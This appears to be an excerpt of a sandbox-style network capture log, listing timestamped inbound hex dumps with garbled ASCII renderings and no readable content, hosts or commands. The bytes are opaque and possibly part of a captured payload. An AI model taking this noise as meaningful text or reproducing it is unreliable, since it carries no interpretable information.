9a 89 e1 7d 61 71 a1 57 b1 24 8c e6 5c b4 e4 59 a4 fc 5d 9b d2 92 b7 20 bc d9 a6 b4 c4 e8 47 32 bf d2 92 7c 08 79 7e 
a5 25 73 21 94 22 e4 52 4b 72 fd e2 b3 f4 79 54 c4 2c e4 ce 
Data Ascii: _05!.KK(Q(VKwB22'CwldSK1m~XFWrJ>>)6B$AX0B?@BBP#]T-$(u`/np<a?BAC}aqW$\Y] G2|y~%s!"RKryT,

2022-09-20 10:10:08 UTC 4239 IN Data Raw: 14 75 3a 09 30 78 af 8a 1b eb c9 d7 a1 5c be 88 b3 f3 17 0d 11 7a 7a 5d 59 4f d2 f5 d7 a0 5c bf c8 58 4f 12 6f 
d6 25 9c 4d bb c4 58 4f 16 ab a1 27 da aa 73 35 84 97 23 39 a7 cc a4 0d 65 a7 11 76 72 56 41 73 27 ed 4a 99 33 46 2c 
cb 28 9f de 4b 39 bb 12 c9 d5 0c 61 f1 6f 46 a7 04 c5 7f 54 ae df 31 ae 8b ac c6 cd bf c3 8d 8f 21 15 2d 93 3c 6a 85 9a cb 
38 5b 74 99 78 6d b4 0b 26 1d 36 73 7e f7 41 74 0f 92 eb 6e 2a b6 92 df e3 60 fe 0a a9 48 c9 f7 33 d0 1f 11 4f c9 7f fe 62 
ce 2a 90 d4 72 7c 13 f4 f5 8b cd e5 f8 6f d0 47 16 53 39 4a 7e 80 d6 9b 6a 23 00 23 01 5d 8d 9d 2b 10 a2 ac 0c fa 94 68 
bd c9 04 5a c4 eb 46 06 5a 88 58 c6 70 01 e3 c0 07 fb 93 73 d0 da 55 07 cf dc de 55 13 0c 94 f3 21 91 68 e4 84 9b 1c e9 
00 e1 f8 82 c2 4d 12 23 e8 e5 bc 5e f9 7c e0 0d 53 
Data Ascii: u:0x\zz]YO\XOo%MXO's5#9evrVAs'J3F,(K9aoFT1!-<j8[txm&6s~Atn*`H3Ob*r|oGS9J~j##]+hZFZXpsUU!
hM#^|S

2022-09-20 10:10:08 UTC 4247 IN Data Raw: 71 91 a4 d3 2d a1 ca 7d 60 21 e3 13 49 99 5b 05 42 c8 3b 25 80 2a b2 8d 45 91 56 89 55 22 89 1d 81 fe 41 72 
27 ec 0e 49 0e cc ca 94 45 c3 9e a7 da 08 8b b2 51 ed 32 61 af db 23 4e a1 92 2b 13 a9 3f 5f 17 da d4 d0 db e0 42 e7 6d 
f1 b0 90 19 11 24 cd 4d a1 b4 72 30 71 33 c5 98 b1 23 e2 60 28 32 55 09 e0 8e 50 98 95 5c 60 b4 79 20 f3 ac 08 b2 ba 
5d 62 80 b2 a0 67 0b f4 5d a1 3d 0d 6b 5c c7 b0 90 6a 01 de 1d 4a d3 64 83 72 5c 59 c8 1c 81 bd 27 14 3d b0 0b 33 6f c8 
5c 21 e3 bd be d1 a5 92 e8 e4 01 a4 90 1a 7d 59 86 65 e0 51 e3 28 a6 a1 16 d7 c2 86 76 c6 57 86 51 e6 a8 29 a8 3e 0d 
6b 4a 31 51 cf e1 df 89 16 98 4a 3c cf 07 27 c9 4e 49 8d 27 0f af d0 6a 81 f1 8b 63 29 8f 4d 9f 7f 70 a7 27 79 32 54 e6 e0 
5b 03 42 b2 60 e4 5d 8c 5f 2e c4 8c eb 2b 64 fc 8a 10 4d 44 
Data Ascii: q-}`!I[B;%*EVU"Ar'IEQ2a#N+?_Bm$Mr0q3#`(2UP\`y ]bg]=k\jJdr\Y'=3o\!}YeQ(vWQ)>kJ1QJ<'NI'jc)Mp'y2T[B`]
_.+dMD

2022-09-20 10:10:08 UTC 4255 IN Data Raw: bf a2 3c dc 0f 10 79 87 72 15 7e 6d 9e 62 c8 a5 43 4b 6d 24 7c 73 5b 77 0f 14 5f a5 0b d5 c6 bc ca 59 c4 ab 
b4 b0 73 37 76 92 2d 57 e9 89 84 5f 07 5c d1 ab a6 0f b0 81 fa c2 6e cd 79 f7 32 ab 0f 70 fb eb 9c dd f4 3a 9d d2 18 ab 7c 
80 b7 00 bd fa ba f2 01 22 0f 70 16 7a 40 f9 00 45 88 14 1c 10 6b 06 da 5b ef 49 a4 3a 6c 23 b6 0f 6a 4e f7 91 6a 5f 7d 16 
28 2a 0f a8 7d f5 76 44 5a 11 46 13 99 d8 5c df 08 e8 ec 03 6a 73 7d 1f 22 7b 0f a8 cd f5 4f 10 f9 f0 80 da 5c 3f 39 91 d4 
74 72 a2 77 73 7d ca 91 6a 73 3d f4 0d 0c bd 6f 98 9b eb 5b 04 1d fd 5a 37 d7 87 22 3d f3 0d f9 ac 66 1b 35 81 a0 ba ce 
e4 e6 d6 9c 97 12 bb 9d 48 1a 0f b2 52 84 fc 07 00 d4 20 32 87 f2 d5 94 03 7a 43 e4 a2 5f 71 de a6 43 73 3e 43 b9 96 20 
a9 09 44 2b 28 57 23 80 75 88 ac a1 5c 42 2d 5f 
Data Ascii: <yr~mbCKm$|s[w_Ys7v-W_\ny2p:|"pz@Ek[I:l#jNj_}(*}vDZF\js}"{O\?9trws}js=o[Z7"=f5HR 2zC_qCs>C D+
(W#u\B-_

2022-09-20 10:10:08 UTC 4262 IN Data Raw: a3 fe 18 fc 66 cc 01 21 dd de 98 a9 3e 0c ca 58 ed 92 f9 72 c7 9a cd 1b 28 ac ba 1d e0 5b 4e b2 71 2a af 4e 
08 fb 6d b6 38 a0 73 a8 1c ea f8 07 7f 5c e6 9b 52 60 e6 7b 7c 04 e5 ab 87 5d 3e 19 45 4f db eb 49 59 fb c4 13 fb f9 9d 7d 
f4 e5 12 8d 74 d6 8f a5 fa 54 ca 9d bc ab 7e a7 a7 4f e8 ed d9 42 53 6f 77 a6 51 19 73 50 d9 d9 08 0b 88 e1 2e c1 b0 05 
60 03 c2 42 a2 3d b3 9e 54 e9 20 55 de a5 3f 08 44 8e 5e c4 d8 ef 91 7c 21 42 ce d7 c0 3c 8e c8 63 08 23 c2 8a 24 3d d4 
4a f4 b7 eb 8b 8e a4 2b 20 16 cd a3 df 9c 4a fc be 09 b2 57 28 df 78 00 11 c9 1a 0b 43 58 48 4f d2 af 11 e5 ac 17 87 16 
74 17 7d 0f 93 e2 e2 41 3a 25 19 32 49 3d 48 cf 46 ae 2c 04 f1 20 7d 2a 22 93 11 32 ee aa 3f fc 83 f4 85 f4 20 9d 88 30 f1 
10 b3 cb f4 8b 0b d5 73 f4 a5 c8 bf 98 78 3c 52 3f 
Data Ascii: f!>Xr([Nq*Nm8s\R`{|]>EOIY}tT~OBSowQsP.`B=T U?D^|!B<c#$=J+ JW(xCXHOt}A:%2I=HF, }*"2? 0sx<R?

2022-09-20 10:10:08 UTC 4270 IN Data Raw: c1 97 e4 36 15 0c 8e e7 cb e4 78 5f 72 75 9b c7 ed e9 eb 58 81 41 8d d9 2f 90 c9 c9 c1 73 05 06 45 5a 33 5f 
98 10 f2 17 a4 a6 7b 53 fd f2 6e 96 a9 19 03 3c 6e fb 45 92 6b 16 cc 69 50 f5 d8 2f 4e 48 f9 ca 20 5b 26 95 1b 5e af da f0 
f7 aa c3 fb 6f 4d 89 c6 da 1c 5a 4d 6e da 61 b6 a6 22 7d 5b 53 94 c3 c1 35 fb 0b 01 c8 e2 db 9a 8a f0 6e 4d 45 a8 ad a9 
08 b5 35 15 a1 b6 a6 22 d4 d6 54 84 da 9a 8a f0 6e 4d 45 78 b7 a6 22 fc b6 a6 22 7c 5b 53 11 de ad a9 08 eb d6 54 84 
75 6b 2a c2 ba 35 15 a1 b6 a6 22 cc ad a9 08 73 6b 2a c2 dc 9a 8a 50 5b 53 11 e6 d6 54 84 b9 35 15 e1 dd 9a 8a f0 6e 
4d 45 58 b7 a6 22 cc ad a9 08 ff ad a9 08 cb d6 54 44 ff ad a9 08 df d6 54 84 65 6b 2a c2 b2 35 15 61 dd 9a 32 a5 90 5b 
53 11 7e 5b 53 11 de ad a9 08 cb d6 54 84 75 6b ca 97 60 d9 
Data Ascii: 6x_ruXA/sEZ3_{Sn<nEkiP/NH [&^oMZMna"}[S5nME5"TnMEx""|[STuk*5"sk*P[ST5nMEX"TDTek*5a2[S~[S
Tuk`

Timestamp
kBytes
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2022-09-20 10:10:08 UTC 4278 IN Data Raw: c1 3b 04 22 d5 22 59 a0 9c 85 24 ae eb dc 27 22 7e fa 14 3a cf 9f 07 ac 5f bb 8a 9e b9 6c 2d 17 4e d2 fd 39 c4 
d5 8b 46 7f 11 e5 eb 78 91 60 a5 a5 d9 93 44 80 bc 85 bf 70 23 82 4f 83 50 bd f2 54 67 af 54 68 62 42 75 9d ac 3c b3 ef 
f7 03 5c f8 fe 30 c0 11 ab 24 d4 eb 12 fc 94 49 f0 8a 47 08 fc e6 20 59 72 40 72 ec f9 f2 13 a3 5f 6c 59 5e f7 93 d7 ad fc 
ba 04 af c1 04 f2 e3 c5 ed e5 a7 4c c1 d6 7d 5f 6b cd 9c e3 75 01 5e 17 20 2b af 00 d3 5a 19 5f 6a 9f 2d 7e a2 45 59 2e 
a7 39 8f 4b 88 79 1c 97 c8 1e 14 bb 22 6e 91 44 9c 16 22 6e 15 22 ce 7c e2 31 fb 0a c5 95 8a d0 2f 77 b6 93 69 2f 5b 6b 
f3 e9 79 4e f7 b1 13 76 ef 2c df 25 4c 8b 70 89 5f f1 69 e6 a0 b5 27 ce 06 4d 1e 69 ab 63 31 8d cd 35 55 c1 4a 1b 43 5c 
c4 8d 38 9b 12 95 17 4d c4 24 fe 1a 5c 38 6a f4 6f 
Data Ascii: ;""Y$'"~:_l-N9Fx`Dp#OPTgThbBu<\0$IG Yr@r_lY^L}_ku^ +Z_j-~EY.9Ky"nD"n"|1/wi/[kyNv,%Lp_i'M
ic15UJC\8M$\8jo

2022-09-20 10:10:08 UTC 4286 IN Data Raw: ed 55 54 d5 3e 57 cd 3f 47 cd 4a f7 73 35 dd 46 ea 36 f0 a0 7e cc 3d 99 36 56 f2 a0 a3 7d 6e e8 dc 39 c4 61 2f 
b1 d8 49 c2 6f f3 b2 78 15 d7 dc e7 fa 45 46 c2 d5 c2 d1 ae 6f 0e f3 ac aa c5 d9 86 3f 24 08 fc 72 06 08 00 03 f2 36 c1 f3 
5a ef 8e 50 60 f3 6c 0e 51 50 a8 c8 4e f3 9b 9f e6 5e 37 00 c4 7f 6c 29 03 c2 09 91 d0 3b 1d 09 5f d7 25 9e 98 71 30 10 
e8 77 0b cf cb 9a e9 ed ce 00 89 92 c1 84 1b 4e f7 7f ac e3 f9 5e 1a c6 d9 16 4a 55 cd f8 eb 82 8c 91 32 6c 18 03 a2 4f 
d5 77 a1 38 00 d1 d4 d6 b1 99 40 74 69 0c 44 95 18 82 65 e0 77 a9 7d 23 6c 94 f6 72 b9 3c bc d5 73 03 38 8d 02 4e a3 
6a 7e 0f 03 28 d9 53 05 a5 74 ba 3b dd 15 c2 49 94 b1 94 e5 b7 3c 30 25 40 51 1b 95 b6 2a bb 0f 50 1a f4 75 af 76 69 89 
8c b0 74 bb 76 c8 e5 59 a1 78 27 65 af 64 40 91 93 46 
Data Ascii: UT>W?GJs5F6~=6V}n9a/IoxEFo?$r6ZP`lQPN^7l);_%q0wN^JU2lOw8@tiDew}#lr<s8Nj~(St;I<0%@Q*Puvit
vYx'ed@F

2022-09-20 10:10:08 UTC 4294 IN Data Raw: 38 bc a4 45 86 64 8a aa bf 35 b0 c8 b0 4b 9a 47 98 29 40 63 91 e1 ae 92 16 19 9e e1 a7 55 cf 60 24 9f f1 38 
a6 67 8c dd 84 e7 30 39 2f f0 8b 92 17 90 e6 05 cc 91 e7 0e 43 a7 4c 38 43 cc d1 0b d1 68 2c b0 9b f0 1a ec 26 bc c6 76 
13 5e 83 dd 84 d7 98 db 79 0d 76 13 5e 03 56 ff 86 ed 26 fc 86 e9 c7 6f c2 76 13 7e 5b ce 6e 02 1b 4e 88 39 fc 3c 79 2f 
2f a1 1f 63 09 fd 18 85 e6 c3 ae 32 e1 f1 32 e1 6e 38 a4 c0 72 c2 ab e8 ef ab 51 3e 29 f1 7c 26 8c c6 f6 2d 63 39 e1 2d 66 
a7 df ca b3 9c 70 9a 0a 24 72 63 39 e1 42 e6 01 2e 04 fe 6c c3 4d fb ed 8c 9f db 8d bd 96 ed b0 d7 b2 5d e0 a9 e0 23 bc 
49 3f 52 55 0c 53 21 37 28 c5 23 e0 1d af 67 6d c5 f5 8c d4 d7 7b 86 0d ae 37 d7 7b f6 17 b4 63 be e7 7d cc de fb 78 6e 
f7 be 67 d8 60 27 37 7c 67 15 98 af 9d 55 2d 80 8c 8f 
Data Ascii: 8Ed5KG)@cU`$8g09/CL8Ch,&v^yv^V&ov~[nN9<y//c22n8rQ>)|&-c9-fp$rc9B.lM]#I?RUS!7(#gm{7{c}xng`'7|gU-

2022-09-20 10:10:08 UTC 4301 IN Data Raw: 0d 8d ed 2d 1d e1 6d ae f2 11 ae 44 a0 eb 21 84 a1 45 3f be d9 1a bb 16 83 cd 53 b1 82 a7 e2 6b 1d ac 4a ea 
ad a6 2d e0 8d 4e 33 09 8f 6e c8 ed c7 46 bc 46 8d d0 d5 d2 1a bd 80 eb fd b2 a9 f7 0f a8 f7 97 9d 1f ff 2a 4a 28 79 90 f0 
9b f4 de be e7 fc 89 60 ce dd 01 cf f9 57 6c e1 95 7b 8e 29 77 0f 46 a7 4a 9d 80 49 7f 69 7d 11 6f f3 f9 21 91 e1 91 a4 6e 
f2 87 b1 42 05 44 a8 ac ef d8 cc b9 f8 a8 f1 e4 7a ac d2 2a 99 b3 69 38 6e 0f 0a ef fe b8 17 68 29 f1 5f 3e aa 7c fa d6 f7 
71 93 5a a2 88 ba d7 93 0a 31 e4 53 9a 17 3e b8 f1 ff b2 77 ed 51 52 16 57 7e aa ab ab fa eb ee 79 f7 3c 41 65 0c 8a 82 
da 22 1a 8f 0e 3d 46 4d 14 f9 06 1f d1 3d d2 e0 2b 9a 43 83 8f ac 51 7a 18 98 9e 19 4c 33 1a dd 55 1c 11 82 9e 44 40 e3 
2b 32 80 e6 24 f1 d8 89 21 9a a3 a2 31 59 cd 1e 
Data Ascii: -mD!E?SkJ-N3nFF*J(y`Wl{)wFJIi}o!nBDz*i8nh)_>|qZ1S>wQRW~y<Ae"=FM=+CQzL3UD@+2$!1Y

2022-09-20 10:10:08 UTC 4309 IN Data Raw: b3 27 19 e9 b1 8d 92 98 a1 f0 14 26 33 a2 fd 62 d3 f4 c6 76 68 78 34 5f 15 bd ac aa dc a2 96 9d 54 95 28 b4 
80 29 42 d9 5a a0 81 0c 50 91 f6 02 b6 41 ad 01 87 dd b8 9f b8 4e 8c bf f7 f3 d1 b4 29 54 7f e9 90 5d 09 8e 06 3f 6e d6 
94 63 39 93 1c 20 71 c0 ab e1 69 97 0a 6a ce 69 93 6c 5c dd 8d f0 25 b0 c9 76 fd a3 c1 20 80 9d b4 f4 64 dd 4f 32 56 eb 
d9 a4 2a 11 e0 88 31 e4 06 f1 9a aa cc 25 ff e4 ca 66 68 80 66 2d 39 1b 54 9c b0 dd 1c d5 9a 56 3c 6d 4b 2b 2c b4 bb aa 
c4 f1 4e fd 9f aa ca 06 6d 59 25 dd 2c 5f aa e1 f9 7e a5 dc c4 c3 6b 19 3c d9 84 8b aa 95 6c 6a 67 cc 57 8b af 81 04 24 2c 
c8 7a 03 ed c6 97 68 cb 6e 67 5d 81 8e e6 70 fe f0 52 c9 9c e2 e3 9a 9a 72 d5 47 f6 d6 92 82 1e 52 cf d2 5a 48 71 a7 6b 
d8 3f 08 2d 68 82 cc 87 aa 94 30 ad 1c 4e 42 d5 34 63 
Data Ascii: '&3bvhx4_T()BZPAN)T]?nc9 qijil\%v dO2V*1%fhf-9TV<mK+,NmY%,_~k<ljgW$,zhng]pRrGRZHqk?-h0NB4c

2022-09-20 10:10:08 UTC 4317 IN Data Raw: 95 ba 84 9e d4 b4 0d 54 26 18 1a 2f 31 f2 59 28 9b c0 3d 1f 09 1e 63 12 45 f9 2e 3a 8d c6 fe 6c 93 c3 2b 1d 67 
74 a6 81 e6 06 a6 69 a6 00 f3 49 a8 cc 29 62 23 2a d0 69 b6 00 69 14 e0 65 26 81 cc 17 47 83 5a d8 a6 3d 77 34 a0 61 
dc d0 53 86 d9 ea 65 80 76 e1 1e ba 8b 0c 74 48 00 9f 22 7d fe 11 c2 2f b2 12 54 e8 2b 96 fe 2a 61 3b ce 94 bc 5a 44 7e 
0d 52 13 f2 6e ae c8 75 7f b5 e5 ac 43 39 d9 ef d7 01 0d 72 65 e3 93 82 75 28 cf d9 4c 02 9d cb 02 40 8f b0 33 07 e2 87 
0c 32 28 e4 17 2c ab 85 f4 dc 6a 10 e0 c0 f6 e9 91 29 20 61 4f b0 18 83 cf b5 05 4e cf 15 73 a3 9e e7 48 e1 31 8a 9c 0d 
d3 ae 44 69 20 7e 9b 48 ed cd d2 17 29 ef 77 ad ad c2 7e ce e4 1c f8 5a 61 8f 7f 09 0d 4b f4 65 b5 7d 6d 66 75 b7 89 da 
fc d7 75 e0 ce 0e 9f b1 cc 00 cd e3 a4 f3 ac 7c bc 3b e4 
Data Ascii: T&/1Y(=cE.:l+gtiI)b#*iie&GZ=w4aSevtH"}/T+*a;ZD~RnuC9reu(L@32(,j) aONsH1Di ~H)w~ZaKe}mfuu|;

2022-09-20 10:10:08 UTC 4325 IN Data Raw: fc 2f a4 7f 45 34 a3 93 6c d1 21 5f 7c 0b e9 3c 11 71 74 a3 91 9d f2 d8 60 8d eb 94 af 05 bc 89 f9 e2 d6 ca 29 
1e d5 c9 20 74 f9 61 7f 75 d2 85 cc 93 c8 d2 a4 78 d5 91 75 9a e9 ed 5c 17 d2 6e 83 2e 04 2f d9 bb 88 69 74 9c bf 95 ba 
79 e8 61 99 93 e0 2c a7 c9 82 07 4e f3 14 59 20 a1 d6 87 c9 24 04 d7 f9 1f b9 18 81 0b 1d 29 4b c9 03 2b 74 81 50 9d 5b 
43 f5 2b e6 7b f4 b3 c5 91 fa 6b 28 d4 d2 54 91 37 ff fc 6a 7a 83 68 95 1d 37 f5 6e dc d4 8f 11 e7 83 d7 30 62 4a 36 15 ad 
7f 4a 5a 5e 48 ae 73 4d 0e 63 25 65 06 48 3d 50 79 91 f4 78 d4 7f 1e f3 e7 89 29 0c ff 5c 7f 58 a8 31 4c 00 c4 2c 33 be ea 
67 c9 50 33 7c b5 8c 09 c0 34 23 f5 f9 74 b5 87 09 60 66 59 a3 0f ab eb dc 12 19 7c e6 c9 0f 3d 96 8e 25 53 c2 7f 38 c4 
ec 82 db b7 2d 38 33 45 fb c8 9a 84 ae e5 aa 73 
Data Ascii: /E4l!_|<qt`) tauxu\n./itya,NY $)K+tP[C+{k(T7jzh7n0bJ6JZ^HsMc%eH=Pyx)\X1L,3gP3|4#t`fY|=%S8-83Es

2022-09-20 10:10:08 UTC 4333 IN Data Raw: 6c 29 42 23 cc 64 77 c2 82 dc 08 b9 0d 45 c3 45 77 68 9c 24 e6 9b 2f f9 5d 60 40 eb ca fc c8 75 72 f7 87 22 
81 3a b5 13 8d 9d da e9 dc 94 c6 bc 52 ca 77 c2 81 f6 ea e0 a7 d7 8b fd bc af a7 ea fd 19 4a a5 97 e4 2e d5 b5 32 21 e4 
a5 82 e3 1f 6d 2e b0 d3 a3 ed 1c 40 c5 81 a7 fd a9 47 4c 82 9f c4 05 c7 7f a4 55 ef 80 90 3a a0 c7 0d d9 a0 97 b0 ae 3c 
08 4d ee 1d a3 7e b2 5c 43 c5 ab 57 a7 4b ea 9d 17 6d 50 2f ea d4 c3 27 6e 6e fc 5f c3 7f e4 12 d6 45 ea 95 6c 5e de 60 
5e c4 b7 29 80 2e e9 27 b6 b8 44 9c a6 f7 d9 61 5d cc e6 e9 80 47 fc a0 ca e4 0c 04 af e8 be 3e 8c 10 bc 60 de d7 87 e1 
e0 76 1a 18 a3 6e 27 b9 0b 11 6f 0e c4 ec 63 3c 61 7a 1f b9 2b 61 0a 0c e2 ae 38 75 77 89 07 8c 57 e7 7c 62 03 10 2e 8c 
9d d5 86 c8 8d 8c 3c 9d 7a ad ec 44 d5 41 6e ec 3b be 8f 
Data Ascii: l)B#dwEEwh$/]`@ur":RwJ.2!m.@GLU:<M~\CWKmP/'nn_El^`^).'Da]G>`vn'oc<az+a8uwW|b.<zDAn;

2022-09-20 10:10:08 UTC 4341 IN Data Raw: 0d 90 92 f9 d7 bc 23 8e f0 64 d3 a7 b2 40 47 0b fb 68 a9 8b f9 34 fa c9 32 b5 92 cc 4d 84 6e 2a 90 a7 67 68 
6d 0e fa 01 8e 72 55 ae ce 01 8f 65 3f 3e 8e d0 3e 4c 02 7d 21 0d 0c 43 0c 28 94 0c 40 6c 27 eb 94 3b 08 bf c3 9f e6 75 
06 aa ce 01 57 f0 67 2f da 6a 23 ff 37 59 2c 44 9e 08 06 7a 9f c9 f7 c5 56 e6 66 3d 2c f4 b9 06 40 14 b1 e7 2a 92 8d 74 c3 
4f 89 89 4c 60 b2 18 86 84 50 e1 cf 99 fc 5c ea 6e 44 50 cd 23 4c 8d eb 8e 90 a6 37 7c 54 b9 d2 d4 ac ae d2 d6 9e f8 03 
a4 4f 10 5f 6b 1c 7e 55 65 1b 3f 3c 76 7f b6 a9 58 ed d9 52 5d b9 d1 a5 7d 82 62 b4 96 44 02 d5 24 ad 50 8d d4 d3 bf 0e 
48 89 27 24 e9 7e 52 73 3f 5a 0d 20 1a b4 d5 25 88 ba 1f 90 b2 c1 03 a4 fe be 02 98 a1 a2 d0 8a 54 48 ed 7d 11 35 83 88 
68 65 cb 5a 31 82 fe 4e f8 ff 93 06 e7 4b 20 fe 1c 64 
Data Ascii: #d@Gh42Mn*ghmrUe?>>L}!C(@l';uWg/j#7Y,DzVf=,@*tOL`P\nDP#L7|TO_k~Ue?<vXR]}bD$PH'$~Rs?Z %TH
}5heZ1NK d

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4348 IN Data Raw: d9 83 01 1d d7 d7 cf 1a a1 79 1c 39 4f 5c 97 8b 84 db 2a 34 3d 3b 53 28 fd dd 45 22 34 89 23 27 c9 08 70 91 
08 5d db cf 2f 30 42 b7 86 64 10 ba 23 24 83 d0 f2 90 0c 42 0f 85 64 10 5a 19 92 41 e8 a9 90 0c 42 7f 09 c9 20 f4 d7 90 
0c 42 ab 43 32 08 bd 16 92 41 e8 ed 90 0c 42 ef 86 64 10 fa 20 24 83 d0 27 21 19 84 be 0d c9 20 f4 43 48 06 a1 64 7f 5f 
06 a1 a2 fe be 0c 42 9d 42 32 08 75 0b c9 20 d4 3b 24 83 50 65 48 06 a1 e1 21 19 84 36 0f c9 20 54 13 92 41 68 4c 48 
06 a1 f1 21 19 84 76 0b c9 20 34 39 24 83 d0 3e 21 19 84 b2 21 19 84 1a 42 32 08 1d 1c 92 d1 39 d3 0d 01 84 8e 0b a5 
42 e8 f8 50 2a 84 4e 0c c9 20 74 5a 48 06 a1 d3 43 32 08 5d 10 92 41 a8 25 24 83 d0 65 21 19 84 ae 08 c9 5c 21 93 bb 9
3 d1 39 9e 64 84 a3 f3 bb ab 97 9b e6 33 3a cd bb c8 b5 96 a3 2a 
Data Ascii: y9O\*4=;S(E"4#'p]/0Bd#$BdZAB BC2ABd $'! CHd_BB2u ;$PeH!6 TAhLH!v 49$>!!B29BP*N tZHC2]A%$
e!\!9d3:*

2022-09-20 10:10:08 UTC 4356 IN Data Raw: b1 6e a0 1e 46 b2 a1 5f 82 75 13 a9 da 88 04 ba 9f f3 b8 df 6a b5 25 2e b4 65 5d 18 70 b5 80 af 33 ba 6b b5 
78 e1 83 58 63 89 33 3d 11 31 4d 47 82 7d 8d e5 5a 52 a1 85 40 22 f8 89 64 0b d9 1f 00 95 b3 f3 69 4f 68 fb 64 a4 86 88 
ef 14 66 ba fb 04 43 08 6d 21 a5 d9 42 68 2a 24 d0 b6 5c 1c a0 a9 cc fd 0d a1 13 99 54 4d 49 79 30 6a 88 4d 9b 76 69 33 
2e 6d da a5 cd 3b d4 7a 15 c1 0d 6c 78 a0 77 b9 51 d7 12 fa 07 73 81 3e 0c 22 35 e8 4b 7f 8f 0c a2 ad 19 ec 48 b0 13 27 
03 aa 0b a2 c3 87 7e 55 d4 c9 6a 0b 78 02 04 be 9a 87 cc 12 42 ab a2 0e f4 10 62 2c 88 8e c1 9b 88 f1 5a b4 23 23 f9 2d 
3c e9 f8 99 1d 49 ac 2b 58 16 12 37 e5 f7 ff 3d 89 b5 17 67 81 d2 1c 12 ce 2d 11 28 93 d6 7a 3d bd c1 7a ac 53 ac cc 22 
c3 cc 2b 2e 7e 27 11 b3 85 4b 07 74 89 d1 37 67 78 ee 12 
Data Ascii: nF_uj%.e]p3kxXc3=1MG}ZR@"diOhdfCm!Bh*$\TMIy0jMvi3.m;zlxwQs>"5KH'~UjxBb,Z##-<I+X7=g-(z=zS
"+.~'Kt7gx

2022-09-20 10:10:08 UTC 4364 IN Data Raw: 8e 65 8b 66 26 17 1d b7 cb 71 9e fa 0d b6 6b c3 3d e1 71 dc 2e 6f 71 dd 07 6d 38 b7 d1 d7 cd 6f 2e e8 f8 03 
b6 e3 f7 78 c8 71 1c e0 7b 59 c6 37 e4 55 b6 fb a2 19 53 4b 60 3f d7 12 eb 63 79 71 c7 b1 9c 38 11 2d 8e b5 5a 62 1b 1f 
34 d6 43 be d4 1c 67 85 b3 8c 5e 9e 65 8d dd c4 31 47 ed 36 3d fc e6 1d f7 db cc 71 15 f8 dd c0 63 b6 e3 77 7b c8 71 7c 
18 ee af 64 19 d3 ed e2 38 b7 41 f6 71 61 1e f2 2a f3 be 57 c2 1e cf 36 c6 a0 26 6c c7 af f0 90 e3 f8 55 dc 6f cb 36 66 3a 
c6 f5 0a 9e b3 1d bf db 43 fe bc f9 fe fd a0 f9 ce 1c 67 2c ce b3 f1 c0 69 ab 71 3f 13 f6 49 39 c6 1c 18 38 6f 34 ce 9d 11 
b4 e9 95 7b c8 ff ff 76 6c 5b 69 7d 24 1a d6 8c 99 66 bf fc 17 8e 87 0b 36 a7 42 d1 68 69 d0 a9 97 32 ff cf 82 92 61 9f 47 
d2 be b5 99 ff e3 b0 07 03 cd 2d 9a 51 92 f0 2c 
Data Ascii: ef&qk=q.oqm8o.xq{Y7USK`?cyq8-Zb4Cg^e1G6=qcw{q|d8Aqa*W6&lUo6f:Cg,iq?I98o4{vl[i}$f6Bhi2aG-Q,

2022-09-20 10:10:08 UTC 4372 IN Data Raw: 2b 2c e9 d7 93 4d 25 0e 75 b0 cd eb 5c 91 99 cd 0a d8 9f 22 c9 0e 48 2e cc 59 d4 9f 8b fe 80 22 e4 cb 57 e1 
1d b8 75 30 42 ce ab a6 08 79 bd b0 2f 8c f5 e9 d7 af a7 fa 74 ec 46 4d 7b 99 ab 53 f5 95 9d 07 cb a3 e8 2c 16 45 f1 b2 
ca b9 10 a9 cf 8a f3 3f 14 45 13 53 8d 2b 73 6e 58 9f e2 ea d8 46 7d fa 07 d1 25 1b ab 3f 2b 44 da c2 53 d9 ca 50 79 ee 
f7 05 ac bf 3c 88 8f b4 93 eb 43 61 8a b6 df 86 e3 bd e7 a6 8f b4 8f 60 c6 4c b2 fb e1 b3 20 e9 76 48 5e 06 49 ed 64 bb 
e4 3d 90 60 bb de 8a 51 9f 82 a4 cd a1 33 1c c7 ab 39 3c 7c 16 48 ba 4b 49 e2 8f c7 82 e1 d2 69 5a d4 91 0e b6 8a 5a 1d 
92 18 48 52 0e c9 d5 20 e9 98 62 4f f9 16 90 74 96 d9 25 0f 80 64 be c3 fa af f0 ac 69 76 c9 3b 20 59 ec d0 c9 03 a8 be 
e9 76 c9 38 90 ac 70 e8 cc 07 49 a2 dc 2e 59 01 92 6a 87 
Data Ascii: +,M%u\"H.Y"Wu0By/tFM{S,E?ES+snXF}%?+DSPy<Ca`L vH^Id=`Q39<|HKIiZZHR bOt%div; Yv8pI.Yj

2022-09-20 10:10:08 UTC 4380 IN Data Raw: 31 13 40 98 62 d4 d8 fa b4 87 09 d2 ad 4a be ae fe 12 c3 b9 ad b9 1e fb 86 f8 49 d7 a6 f8 7c 5a c0 97 01 e9 fa 
cf 8f 00 06 8e f4 0b 9c a8 6c f2 e6 34 5c 7b 7d 73 6c fe a9 01 9a f1 be 7e 88 5e 9b 56 e0 02 94 a5 43 b6 6b af 8f da 1f 4d 
b2 d5 43 75 a9 58 15 f4 51 af 3c 04 c4 84 34 57 0c 9c 01 b2 61 d5 9b 1e 46 e4 a6 5e 6b 54 89 ed fb a0 42 d7 25 58 61 c0 
97 8d b8 98 0a 48 02 c8 91 a1 e9 ff 5e 99 64 03 b8 2f 83 11 07 74 0b 3a d2 5f 7e 58 54 0d 74 f0 0a 3e e7 62 25 12 ce 0e 
fd 4e 84 7e 93 4f b0 19 03 6f 40 02 23 f8 d7 4d d5 43 93 23 f9 5d 5a c0 fc 31 1d 2b 2e 5e 41 85 b9 d7 40 20 57 c1 e8 e7 
ec 52 f6 64 01 6c c5 5a 95 af 00 c6 eb 0e 35 df a7 bf 05 ad 6a c4 fc 64 a4 c7 7c 1f f4 32 4d ff 0d bf 16 fb ca 00 4d 92 9a 
85 df dc f0 5a 8a 18 d0 6f fc da 6e e3 6f 92 da 
Data Ascii: 1@bJI|Zl4\{}sl~^VCkMCuXQ<4WaF^kTB%XaH^d/t:_~XTt>b%N~Oo@#MC#]Z1+.^A@ WRdlZ5jd|2MMZono

2022-09-20 10:10:08 UTC 4387 IN Data Raw: 14 2a 17 3e c3 fa 57 29 68 68 a0 42 23 f7 d6 f0 09 4d 09 5b 61 38 27 a2 7b 51 05 05 0d 11 27 42 df 5a 9f 64 
